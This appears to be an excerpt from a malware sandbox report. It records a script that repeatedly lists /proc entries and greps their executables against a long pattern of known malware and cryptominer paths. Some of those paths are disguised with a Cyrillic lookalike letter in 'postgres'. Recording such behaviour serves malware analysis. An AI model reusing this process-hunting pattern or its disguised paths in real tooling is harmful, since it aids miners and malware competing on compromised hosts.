  PID:823
- /bin/grep
  grep exe
  2⤵
  PID:826
- /bin/ls
  ls -latrh /proc/2
  2⤵
  PID:825
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:829
- /bin/grep
  grep exe
  2⤵
  PID:833
- /bin/ls
  ls -latrh /proc/20
  2⤵
  PID:832
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:835
- /bin/grep
  grep exe
  2⤵
  PID:839
- /bin/ls
  ls -latrh /proc/205
  2⤵
  PID:838
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:842
- /bin/grep
  grep exe
  2⤵
  PID:845
- /bin/ls
  ls -latrh /proc/21
  2⤵
  PID:844
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:848
- /bin/grep
  grep exe
  2⤵
  PID:853
- /bin/ls
  ls -latrh /proc/22
  2⤵
  PID:852
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:856
- /bin/grep
  grep exe
  2⤵
  PID:859
- /bin/ls
  ls -latrh /proc/23
  2⤵
  PID:858
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:862
- /bin/grep
  grep exe
  2⤵
  PID:868
- /bin/ls
  ls -latrh /proc/24
  2⤵
  PID:867
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:870
- /bin/grep
  grep exe
  2⤵
  PID:874
- /bin/ls
  ls -latrh /proc/25
  2⤵
  PID:873
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:878
- /bin/grep
  grep exe
  2⤵
  PID:882
- /bin/ls
  ls -latrh /proc/26
  2⤵
  PID:881
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:886
- /bin/grep
  grep exe
  2⤵
  PID:889
- /bin/ls
  ls -latrh /proc/261
  2⤵
  PID:888
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:892
- /bin/grep
  grep exe
  2⤵
  PID:896
- /bin/ls
  ls -latrh /proc/262
  2⤵
  PID:895
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:898
- /bin/grep
  grep exe
  2⤵
  PID:903
- /bin/ls
  ls -latrh /proc/264
  2⤵
  PID:902
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:906
- /bin/grep
  grep exe
  2⤵
  PID:909
- /bin/ls
  ls -latrh /proc/265
  2⤵
  PID:908
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:912
- /bin/grep
  grep exe
  2⤵
  PID:915
- /bin/ls
  ls -latrh /proc/266
  2⤵
  PID:914
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:917
- /bin/grep
  grep exe
  2⤵
  PID:921
- /bin/ls
  ls -latrh /proc/27
  2⤵
  PID:920
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:923
- /bin/grep
  grep exe
  2⤵
  PID:926
- /bin/ls
  ls -latrh /proc/28
  2⤵
  PID:925
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:928
- /bin/grep
  grep exe
  2⤵
  PID:931
- /bin/ls
  ls -latrh /proc/29
  2⤵
  PID:930
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:933
- /bin/grep
  grep exe
  2⤵
  PID:936
- /bin/ls
  ls -latrh /proc/295
  2⤵
  PID:935
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:938
- /bin/grep
  grep exe
  2⤵
  PID:941
- /bin/ls
  ls -latrh /proc/299
  2⤵
  PID:940
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:943
- /bin/grep
  grep exe
  2⤵
  PID:946
- /bin/ls
  ls -latrh /proc/3
  2⤵
  PID:945
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:948
- /bin/grep
  grep exe
  2⤵
  PID:951
- /bin/ls
  ls -latrh /proc/306
  2⤵
  PID:950
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:953
- /bin/grep
  grep exe
  2⤵
  PID:956
- /bin/ls
  ls -latrh /proc/333
  2⤵
  PID:955
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:958
- /bin/grep
  grep exe
  2⤵
  PID:961
- /bin/ls
  ls -latrh /proc/4
  2⤵
  PID:960
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:963
- /bin/grep
  grep exe
  2⤵
  PID:968
- /bin/ls
  ls -latrh /proc/41
  2⤵
  PID:967
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:970
- /bin/grep
  grep exe
  2⤵
  PID:974
- /bin/ls
  ls -latrh /proc/42
  2⤵
  PID:973
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:977
- /bin/grep
  grep exe
  2⤵
  PID:980
- /bin/ls
  ls -latrh /proc/43
  2⤵
  PID:979
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:983
- /bin/grep
  grep exe
  2⤵
  PID:986
- /bin/ls
  ls -latrh /proc/5
  2⤵
  PID:985
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:989
- /bin/grep
  grep exe
  2⤵
  PID:992
- /bin/ls
  ls -latrh /proc/580
  2⤵
  PID:991
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:996
- /bin/grep
  grep exe
  2⤵
  PID:999
- /bin/ls
  ls -latrh /proc/595
  2⤵
  PID:998
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1002
- /bin/grep
  grep exe
  2⤵
  PID:1006
- /bin/ls
  ls -latrh /proc/598
  2⤵
  PID:1005
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1008
- /bin/grep
  grep exe
  2⤵
  PID:1012
- /bin/ls
  ls -latrh /proc/6
  2⤵
  PID:1011
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1015
- /bin/ls
  ls -latrh /proc/600
  2⤵
  PID:1018
- /bin/grep
  grep exe
  2⤵
  PID:1019
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1022
- /bin/ls
  ls -latrh /proc/601
  2⤵
  PID:1024
- /bin/grep
  grep exe
  2⤵
  PID:1025
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1029
- /bin/grep
  grep exe
  2⤵
  PID:1032
- /bin/ls
  ls -latrh /proc/638
  2⤵
  PID:1031
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1035
- /bin/ls
  ls -latrh /proc/639
  2⤵
  PID:1038
- /bin/grep
  grep exe
  2⤵
  PID:1039
- /bin/grep
